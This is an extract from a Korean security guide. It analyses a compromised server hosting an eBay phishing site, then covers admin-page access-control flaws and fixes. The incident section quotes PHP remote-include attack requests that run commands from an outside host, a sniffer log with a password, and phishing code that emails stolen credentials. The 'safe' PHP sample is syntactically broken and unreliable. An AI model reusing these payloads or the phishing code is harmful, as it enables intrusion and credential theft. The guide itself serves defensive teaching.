"register_globals=On"으로 설정되어 있어 외부의 공격이 가능한 상태였다. 최
근 PHP 환경설정 오류 및 제로보드의 보안 취약점으로 인한 홈페이지 변조
사고가 대규모로 발생되어 이 취약점으로 인한 공격을 우선 의심하였다.
/var/log 디렉토리 전체가 삭제된 상태였으며, 이는 홈페이지 해킹 등 일
반적인 해킹에서는 쉽게 볼 수 없는 것으로 공격자가 자신의 행위를 숨기기
위한 행위로 판단된다.
또한, 실제 해당 피해 시스템에는 사고가 접수된 2월 이전에 많은 공격관
련 파일들과 루트킷이 설치되어 있어 다수의 공격자에 의해 이미 공격을 받
19
은 것으로 추정된다.
다음은 해당 시스템에서 발견한 공격자의 공격행위와 피해 현황들이다.
○ 루트킷, 스니퍼 등 악성 프로그램 설치
2001년 3월 이후부터 다수의 디렉토리에서 악성 프로그램이 발견되었으며,
시스템 파일들도 상당수 변조된 상태였다.
먼저, 2001년 3월 15일 /usr/lib/libsh에 스니퍼 프로그램(shsniff)와 로그
삭제 프로그램(hide), 그리고 스캐닝 도구 등이 설치되었다.
[root@t4linux libsh]# ls -alct
total 36
-rw-r--r-- 1 root root 2000 Mar 15 2001 hide
-rw-r--r-- 1 root root 1345 Mar 15 2001 shsb
drwxr-xr-x 2 root root 4096 Feb 24 19:11 utilz
drwxr-xr-x 2 root root 4096 Feb 24 19:11 .sniff
drwxr-xr-x 2 root root 4096 Feb 24 19:11 .owned
drwxr-xr-x 2 root root 4096 Feb 24 19:11 .backup
drwxr-xr-x 4 root root 4096 Feb 24 19:11 ..
[root@t4linux libsh]#
2005년 1월 26일에는 /usr/include 아래에 루트킷의 환경설정 파일이 발
견되었으며, 이 파일이 생성된 날짜에 ls, ps 등 주요 파일들도 변조되어 있
었다. 일반적으로 /usr/include는 헤드파일(*.h)이 저장되는 곳으로 여기에
file.h, hosts.h와 같이 정상적인 헤드파일로 위장하여 루트킷을 위한 설정파
일을 만들어 놓고 있었다.
다음은 루트킷 환경설정파일의 내용으로서, 이를 통해 역으로 공격 프로그
램들이나 공격자를 추정할 수 있다.
제2장 홈페이지 해킹 현황 및 사례
[표 2-1] 루트킷 환경설정 파일
파일명 내 용 파일명 내 용
file.h
sh.conf
libsh
.sh
system
shsb
libsh.so
shp
shsniff
srd0
hosts.h
2 212.110
2 195.26
2 194.143
2 62.220
3 2002
4 2002
3 6667
4 6667
3 61690
4 61690
log.h
mirkforce
synscan
syslog
proc.h
3 burim
3 mirkforce
3 synscan
3 ttyload
3 shsniff
3 ttymon
3 shsb
3 shp
3 hide
4 ttyload
hosts.h 파일에 특정 IP 블록과 포트들이 보이는데, IP 블록(유럽지역 IP
블록임)은 공격자의 IP일 가능성이 높으며, 포트번호는 백도어 포트나 공격
을 위해 사용되는 포트로 추정된다. 공격자는 IRC에 사용되는 6667 포트도
숨기고자 하였다.
2005년 2월 9일에는 피싱 관련 파일들이 설치된 디렉토리 이름(.4z1z4)과
동일한 디렉토리가 /dev 디렉토리 내에 생성되어 있었다. /dev 디렉토리는
유닉스시스템에서 장치파일들이 있는 곳이나, 관리자가 관심을 가지고 보지
않는 점을 이용하여 공격자들이 공격도구나 공격 결과물들을 숨겨놓는 장소
로 많이 이용되고 있다. /dev/.4z1z4 디렉토리에는 시스템에서 발생되는 모
든 키 입력값이 저장되도록 하는 프로그램과 그 결과가 저장된 파일(.sniffer)
이 발견되었다.
21
다음은 .sniffer의 내용 일부로써 DB 사용자들의 패스워드가 노출되어 있
었으며, 공격자가 다른 시스템을 공격하는 과정도 저장되어 있었다.
./mysqldump -u root -p mysql :
Enter password: xxxxxxxxxx → DB 암호가 노출됨
./mysqldump -u lee -p lee :
Enter password: xxxxxx → DB 암호가 노출됨
․․
․
chattr -i /bin/ps
/usr/sbin/sshd -R :
./login -h xxx.xxx.xxx.218 : → 해킹한 또 다른 서버로의 접속을 하는 내용이 저장됨
/dev/null
Listening to port 35214
password: m2o3a4z5
/usr/sbin/sshd -R :
․
․
○ 제로보드 게시판을 이용한 해킹 흔적
2005년 2월 14일, 피해 시스템에서 운영 중인 3개의 도메인에서 사용 중인
제로보드의 취약점을 이용한 공격시도가 웹 access_log를 통해 확인되었다.
200.103.32.152 - - [14/Feb/2005:08:26:06 +0900] "GET /bbs//include/write.php?
dir=http://www.xxx.xxx.br/contador/cmd?&cmd=id HTTP/1.0" 200 0
219.116.94.139 - - [14/Feb/2005:09:54:38 +0900] "GET
http://xxx.xxx.xxx.kr/bbs//include/write.php?
dir=http://www.xxx.xxx.br/cmd.txt?&cmd=ver HTTP/1.0" 200 0
공격자는 2월 14일경 브라질(200.103.32.152)과 일본(219.116.94.139)으로부터
PHP Injection 공격을 시도하여 웹 서버의 사용자 계정 등을 확인하였다. 로
제2장 홈페이지 해킹 현황 및 사례
그에 남은 기록으로는 실제공격이 가능한 상태였음을 확인할 수 있었으나
해당 로그파일에서 시스템 침입 등 추가적인 공격행위에 대해서는 확인할
수 없었다.
□ 피싱 관련 분석
○ 피싱 관련 파일 분석
피해시스템에는 미국의 전자상거래 사이트인 ebay의 위장 사이트가 구축
되어 있었으며, 일반적인 피싱 사례와 마찬가지로 스팸 메일 발송 등을 통해
위장 페이지의 접속을 유도한 것으로 예상된다.
[root@t4linux ebay]# ls -alct
total 168
drwxr-xr-x 2 root root 4096 Feb 24 19:11 1_files
drwxr-xr-x 3 root root 4096 Feb 24 16:51 .
-rw-r--r-- 1 root root 960 Feb 16 16:52 ebay2.php
-rw-r--r-- 1 root root 12686 Feb 16
16:53http_eBay.comdone-7E-20secure-
7EaSSL-7Earestricted_activations_contine_verify_admin_security_ebay_SSLSECUREDa
eBayaEcheckaEsecaccountID_har263748fusersecrbay1.htm
․
․
․
-rw-r--r-- 1 root root 14331 Feb 16 16:53
http_eBay.comdone-7E-20secure-
7EaSSL-7Earestricted_activations_contine_verify_admin_security_ebay_SSLSECUREDa
eBayaEcheckaEsecaccountID_har263748fusersecrbay7.htm
-rw-r--r-- 1 root root 585 Feb 16 16:54 login1.php
-rw-r--r-- 1 root root 148 Feb 16 16:52 period_ani.gif
-rw-r--r-- 1 root root 195 Feb 16 16:52 1.php
-rw-r--r-- 1 root root 1088 Feb 16 16:52 ebay1.php
drwxr-xr-x 3 root root 4096 Feb 16 16:52 ..
[root@t4linux ebay]#
23
이 위장 페이지들이 고객 정보를 빼내는 과정은 다음과 같았다.
① 최초 접속 시, ebay 사이트의 아이디와 암호를 입력하는 로그인 페이지
에 접속
② 이 페이지에서 실제 존재하는 아이디, 암호를 맞게 입력하였더라도 입력
이 틀렸다는 메시지가 기재된 두 번째 페이지로 연결되어 재차 아이디와
암호를 입력하도록 유도함
③ 두번째 페이지에서 입력된 아이디와 암호는 특정 웹메일 주소
(midyearbayids@yahoo.com)로 발송되며 자동으로 세번째 페이지로 연결됨
<?
$ip = getenv("REMOTE_ADDR");
$mail1='midyearbayids@yahoo.com';
$subject="eb|aylog|in !";
․
․
if ($result==1){
mail($mail1,$subject,$mailbody);
․
․
?>
④ 세번째 페이지에서는 개인정보를 입력하는 페이지로서 카드번호 및 사회
보장번호(Social Security Number)등의 정보를 입력하도록 되어 있으며,
입력된 카드번호를 확인한다는 메시지를 보여주고 과정 공격자 메일주소
로 입력된 내용을 발송한 후 네 번째 페이지로 연결됨
⑤ 네번째 페이지에서는 입력된 은행정보가 잘못되었다는 메시지를 보여주
며, 카드번호와 은행계좌번호 등의 정보를 입력하는 내용이 기재되어 있
음. 입력 완료 시 역시 공격자 메일주소로 입력내용을 발송한 후 마지막
페이지로 연결됨
⑥ 마지막 페이지에서는 입력된 내용이 잘 확인되었다는 메시지와 함께 인
터넷 익스플로러 종료를 묻는 확인창이 열림
제2장 홈페이지 해킹 현황 및 사례
여기에서 위장 사이트의 공격자 메일 주소를 변경한 후 카드번호 등을 입
력한 결과 아래와 같은 고객 정보가 메일 주소로 수신되는 것을 확인할 수
있었다. 아래 그림에서 피싱 사이트에 입력된 내용이 E-mail을 통해 전달된
것을 볼 수 있다.
(그림 2-8) E-mail을 통해 전달된 금융정보
○ 피싱 관련 로그 분석
2005년 2월 13일, 피싱관련 페이지에 대한 접속 실패 기록이 남아 있었다.
[Sun Feb 13 13:30:20 2005] [error] [client 69.31.82.10] Directory index forbidden by
rule: /home/kypp/public_html/.4z1z4/
[Sun Feb 13 13:30:30 2005] [error] [client 69.31.82.10] Directory index forbidden by
rule: /home/kypp/public_html/.4z1z4/.ssl/html/ebay/
[Sun Feb 13 13:36:31 2005] [error] [client 209.247.193.180] Directory index forbidden
by rule: /home/kypp/public_html/.4z1z4/.ssl/html/ebay/1_files/
25
그리고, 2005년 2월 14일 새벽부터 웹 로그(access_log)에 ebay로 위장된
페이지에 대한 접속성공 기록이 다수 남아 있었다.
66.135.207.155 - - [14/Feb/2005:04:26:27 +0900] "GET /.4z1z4/.ssl/html/ebay/http_eBa
y.comdone-7E-20secure-7EaSSL-7Earestricted_activations_contine_verify_admin_securi
ty_ebay_SSLSECUREDaeBayaEcheckaEsecaccountID_har263748fusersecrbay4.htm
HTTP/1.1" 200 36471
66.77.136.213 - - [14/Feb/2005:05:38:26 +0900] "GET /.4z1z4/.ssl/html/ebay/http_eBay.
comdone-7E-20secure-7EaSSL-7Earestricted_activations_contine_verify_admin_security
_ebay_SSLSECUREDaeBayaEcheckaEsecaccountID_har263748fusersecrbay6.htm
HTTP/1.0" 200 20713
168.143.113.112 - - [14/Feb/2005:11:24:52 +0900] "GET /.4z1z4/.ssl/html/ebay/http_eB
ay.comdone-7E-20secure-7EaSSL-7Earestricted_activations_contine_verify_admin_secu
rity_ebay_SSLSECUREDaeBayaEcheckaEsecaccountID_har263748fusersecrbay4.htm
HTTP/1.1" 200 36471
.....
이 때부터 피싱 메일을 수신한 사용자들이 클릭하여 해당 페이지를 본 것
으로 보이며, 해외의 7개 정도의 IP가 접속하였다. 그러나, log를 확인한 결
과 실제 위장 페이지에서 개인정보를 입력하고 공격자에게 메일을 발송한
내역은 볼 수 없었다.
피해 시스템은 이미 오래 전부터 여러 번에 걸쳐 다수의 해커가 해킹
을 하였으며, ls, ps 등 주요 시스템 파일이 변경되고, 스니핑 프로그램이
설치되는 등 광범위한 피해를 입었다. 최근에는 홈페이지 변조 사건에서
흔히 볼 수 있는 제로보드의 취약점을 이용한 공격(PHP Injection)도 있
었다.
하지만, 이러한 공격에 의해 위장 ebay사이트가 생성되었다는 로그는 찾
을 수 없었다. 또한 일반적인 해킹사고에서 보기 드물게 로그 디렉토리
(/var/log) 전체를 삭제하여 추적을 피하고자 하였다.
제2장 홈페이지 해킹 현황 및 사례
본 사고에서 피싱 위장 사이트의 공격 방법과 공격자를 추적하고자 하였
으나 직접적인 단서를 찾을 수 없어 아쉬웠다. 그러나 최근 국내 다수의 웹
서버들이 가지고 있는 PHP 관련 취약점이 단순 초기화면 변조에 이용될 뿐
아니라 피싱과 같은 범죄에도 이용될 수 있다는 가능성을 확인할 수 있었다.
27
홈페이지 개발 과정에서 발생될 수 있는 보안 취약점은 대단히 다양하다.
본 장에서는 공격자가 공격에 주로 많이 이용하고 홈페이지 개발자가 범하
기 쉬운 주요 보안 취약점 10가지를 소개한다. 각 취약점에 대한 상세한 설
명과 이 취약점에 대한 보안 대책과 프로그래밍 사례를 제시하도록 하겠다.
제1 절 접근통제 취약점
1. 취약점 설명
가. 개요
접근통제는 특정 사용자들에게만 웹 콘텐츠나 기능들에 접근할 수 있도록
허가해 주는 것으로 일반적으로 관리자 페이지에 대한 접근통제가 필요하다.
관리자 페이지는 웹 서비스의 사용자나 데이터, 콘텐츠를 손쉽게 관리하기
위한 목적으로 다양한 기능과 권한을 갖고 있고 이는 홈페이지의 운영에 매
우 중요한 역할을 하고 있으므로 일반사용자는 인증을 통과하지 못하도록
할 뿐 아니라 일반사용자가 관리자 페이지를 볼 수 없도록 해야 한다. 그러
나 일반적으로 추측하기 쉬운 URL(ex: /admin, /manager)을 사용하고 있고
있어, ID/패스워드에 대한 크랙 또는 접근 허가 정책에 대해 요청하는 부분
의 정보를 변경함으로써 접근이 가능한 경우가 많다. 웹 관리자의 권한이 노
출될 경우 홈페이지의 변조뿐만 아니라 취약성 정도에 따라서 웹 서버의 권
한까지도 노출될 위험성이 존재한다.
제3장 홈페이지 개발시 보안 취약점 및 대책
나. 위협 사례
(1) 관리자 페이지 인증 우회
대부분의 관리자 페이지는 http://www.test.com/admin 등과 같이 쉽게
추측이 가능하다. 또 인증 과정이 존재하더라도 SQL Injection, JavaScript 변
조 등의 취약점을 이용하여 인증과정을 우회하여 웹 관리자 권한을 획득 할
수 있다.
(그림 3-1) 관리자 페이지 인증을 우회한 화면
다. 취약성 판단
◦ 일반적으로 많이 사용하는 관리자 페이지 명을 입력하여 관리자 페이지
가 존재하는지 점검한다.
29
http://admin.victim.com
http://www.victim.com/admin/
http://www.victim.com/manager/
http://www.victim.com/master/
http://www.victim.com/system/
◦ 관리자가 원격지에서 페이지에 대한 변경을 수행할 때 해당 연결이 적
절히 보호되는지 점검한다.
※ SSL과 같이 암호화된 연결을 사용하는지 점검
◦ 관리자페이지에 기본 관리자 계정 및 패스워드를 입력하여 패스워드 취
약점을 점검한다.
※ 관리자 계정 예 : admin, administrator, manager 등
◦ 홈페이지 패스워드 크랙도구를 이용하여 원격에서 패스워드 크랙을 시
도한다.
◦ 특정 회사의 웹 애플리케이션을 사용하는 경우 해당 회사에서 판매 시
제공하는 기본 계정 및 패스워드를 이용하여 취약점을 점검한다.
※ 특정 제품에 대한 기본계정 및 패스워드는 검색사이트를 검색하여 쉽게 알 수 있다.
◦ 사용자 인증을 통과하여 접속한 페이지에 대하여 인증 과정 없이 중간
페이지에 접속하여 접속이 가능한지를 점검한다.
http://www.victim.com/admin/main.asp
http://www.victim.com/admin/menu.html
2. 보호 대책
일반사용자의 접근이 불필요한 관리자 로그인 페이지 주소를 유추하기
제3장 홈페이지 개발시 보안 취약점 및 대책
어려운 이름으로 변경한다.
중요한 정보를 가진 웹 서버의 특정 페이지들은 관리자 또는 특정 사용
자만 접근할 필요가 있다. 이러한 주요 페이지들은 웹 서버에서 적절한 설
정을 통하여 특정 사용자만 접근이 가능하도록 사용자 접근제한을 할 수
있다.
가. 웹 서버 보호 대책
별도의 네트워크 범위로 IP 레벨의 접근 권한을 설정하고 웹 관리자 메뉴
의 접근을 제한하며 웹 관리자의 인터페이스는 특히, SSL기술을 이용하여
HTTP over SSL과 같은 Data Transaction 암호화를 반드시 적용해야 한다.
가능하다면, VPN과 같은 네트워크 차원의 별도 보안시스템의 설치도 고
려할 필요가 있다.
또한, 관리자 계정으로는 외부 사이트에서 접근하는 것을 허용하지 않는
것이 바람직하다. 대부분의 홈페이지에서 관리자 계정에 많은 권한을 부여하
고 있는 경우가 많고, 일반 사용자용 게시판과는 달리 관리자용 게시판의 경
우에는 별도 관리가 안되고 있는 경우가 많아 관리자 계정 권한 획득 시 홈
페이지 시스템의 권한획득으로 이루어지기 쉽기 때문이다. 따라서 관리자 페
이지의 경우, 사내 IP에서만 접근이 가능하도록 설정하도록 하고, 만일 외부
관리자의 접근이 반드시 필요한 경우라면, 사이트 관리 권한을 외부로 열어
주지 않고도 가능한 VPN 기술을 사용하면 외부 관리자가 회사 내부(혹은
사이트) 네트워크로 접근할 수 있으며, 관리자는 보호된 백엔드 연결을 통해
사이트에 접근할 수 있다.
◦ admin, manager 등과 같이 추측하기 쉬운 디렉토리 명이나 파일명을
사용하지 않음
31
http://www.abc.com/admin.html
http://www.abc.com/admin_main.html
http://www.abc.com/admin/index.html
http://www.abc.com/admin/login.html
http://www.abc.com/master.html
http://www.abc.com/master/index.html
◦ 관리자 페이지의 경우, 관리자 호스트 IP만 접근 가능하도록 설정함
(1) IIS 웹 서버에서 보호 대책
아래의 방법으로 [관리자 페이지] 접근을 제한한다.
◦ 설정→제어판→관리도구→인터넷 서비스 관리자 선택
◦ 해당 관리자 페이지 폴더에 오른쪽 클릭을 하고 등록정보→디렉토리 보
안→IP 주소 및 도메인 이름 제한→편집 버튼을 클릭
◦ 액세스 거부를 선택하고 추가 버튼을 클릭하여 관리자 호스트IP 또는
서브넷을 등록
(그림 3-2) IP 주소별 접근제한
(2) Apache 웹 서버에서 보호 대책
Apache 웹 서버의 환경설정 파일인 httpd.conf 파일의 Directory 섹션의
제3장 홈페이지 개발시 보안 취약점 및 대책
AllowOverride 지시자에서 AuthConfig 또는 All 추가하여 .htaccess를 통하
여 사용자계정, 사용자 패스워드를 등록한 사용자만 접근이 가능하도록 하고
관리자 디렉토리(admin)에 대해 특정 IP에 대해서만 접근이 가능하도록 하
기 위해서 다음과 같이 설정한다.

AllowOverride AuthConfig (또는 All)
Order deny, allow
Deny from all
Allow from 10.10.100.7 10.10.2.1/24

# 먼저 접근을 제어하고자 하는 디렉토리에 대한 상위 디렉토리 정의에
# AllowOverride 부분이 'All', 'AuthConfig', 'FileInfo' 등으로 설정되어 있어야 한다.

......
AllowOverride FileInfo AuthConfig Limit
......

......
AccessFileName .htaccess

Order allow, deny
Deny from all

<.htaccess>
AuthName "인증이 필요한 관리자 페이지 입니다."
AuthType Basic
AuthUserFile /home/www/admin/.htpasswd
AuthGroupFile /dev/null
require valid-user
Order deny, allow
Deny from all
Allow from 10.10.100.7 10.10.2.1/24
33
관리자 페이지와 같이 인증이 필요한 디렉토리에 .htaccess 파일을 만들고
admin 계정의 패스워드를 다음과 같이 설정한다. 위와 같이 설정 후
~apache/bin/htpasswd를 이용하여 사용자정보 파일(.htpasswd)을 생성한다.
# ~apache/bin/htpasswd -c /home/www/admin/.htpasswd [사용자명]
New password: ***********
Re-type new password: ***********
Adding password for user [사용자명]
#
※ 주의사항
① Apache 서버의 경우 AllowOverride 지시자를 변경시 apache restart가 필요하다.
② 관리자 페이지의 디렉토리명을 변경시 웹 프로그램에서 관리자 디렉토리의 경로
명을 지정하고 있는 경우 웹 프로그램 또한 수정해야 한다
③ 관리자 페이지 웹 서버 인증 설정시 관리자 디렉토리에는 일반 사용자의 접근이 필요
한 파일이 존재하지 않아야 한다.
나. 개발 언어별 대책
웹 관리자 메뉴의 접근을 특정 네트워크 대역으로 제한하여, IP Address
까지도 인증요소로 체크하도록 웹 관리자 사용자인터페이스를 개발하고, 관
리자 인증 후 접속할 수 있는 페이지의 경우 해당 페이지 주소를 직접 입력
하여 들어가지 못하도록 관리자 페이지 각각에 대하여 관리자 인증을 위한
세션관리를 해야 한다.
◦ 접근 통제 정책을 구현하고 있는 코드는 구조화, 모듈화가 되어 있어야
한다.
◦ 접근제어가 필요한 모든 페이지에 통제수단(로그인 체크 및 권한 체크)
을 구현해야 한다. 특히, 하나의 프로세스가 여러 개의 페이지 또는 모
듈로 이루어져 있을 때 권한 체크가 누락되는 경우를 방지하기 위해서
공통 모듈을 사용하는 것을 권장한다.
제3장 홈페이지 개발시 보안 취약점 및 대책
◦ 인증 과정을 처리하는 부분에 Client Side Script(Javascript, VBScript 등)
을 사용하면 사용자가 임의로 수정할 수 있으므로 Server Side Script
(PHP, ASP, JSP 등)를 통하여 인증 및 필터링 과정이 수행되어야 한다.
□ 취약한 프로그래밍 예






관리자 페이지 내용
35
□ 안전한 프로그래밍 예
◦ ASP
<%
If myfunc_userauth(userid, userpw) <> 1 Then 'DB에서 사용자 인증을 처리
Response.write "인증 실패"
Else
If Request.ServerVariables("REMOTE_ADDR") <> "10.10.1.1" Then' 관리자 IP 확인
Response.write "관리자 IP가 아닙니다."
Response.write "인증실패“
LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
Else
Session("logged_in") = 1'인증에 성공했을경우 logged_in 에 1의 값을 셋팅
Session("userid") = userid
Session("user_ip") = Request.ServerVariables("REMOTE_ADDR")
LogSave($userid, $user_ip)'접속에 사용한 ID 및 IP 기록
... 중략 ...
End If
End If
%>
◦ PHP
<?PHP
@session_start(); //세션 데이터를 초기화
if(!myfunc_userauth($userid, $userpw) || $_SERVER["REMOTE_ADDR'] != "10.10.1.1")
//DB 에서 사용자 인증을 처리, 관리자 IP인지 확인
print "인증 실패";
LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
exit;//인증 실패시 종료
//인증에 성공한 경우 처리 해야 되는 부분
if (!session_is_registered("logged_in"))
$logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
$user_ip = $_SERVER["REMOTE_ADDR"];
session_register("logged_in");//인증 결과 저장
session_register("userid");//사용자 ID를 저장
session_register("user_ip");//사용자 IP를 저장
LogSave($userid, $user_ip);// 접속한 사용자 ID 및 IP 기록
... 중략 ...
제3장 홈?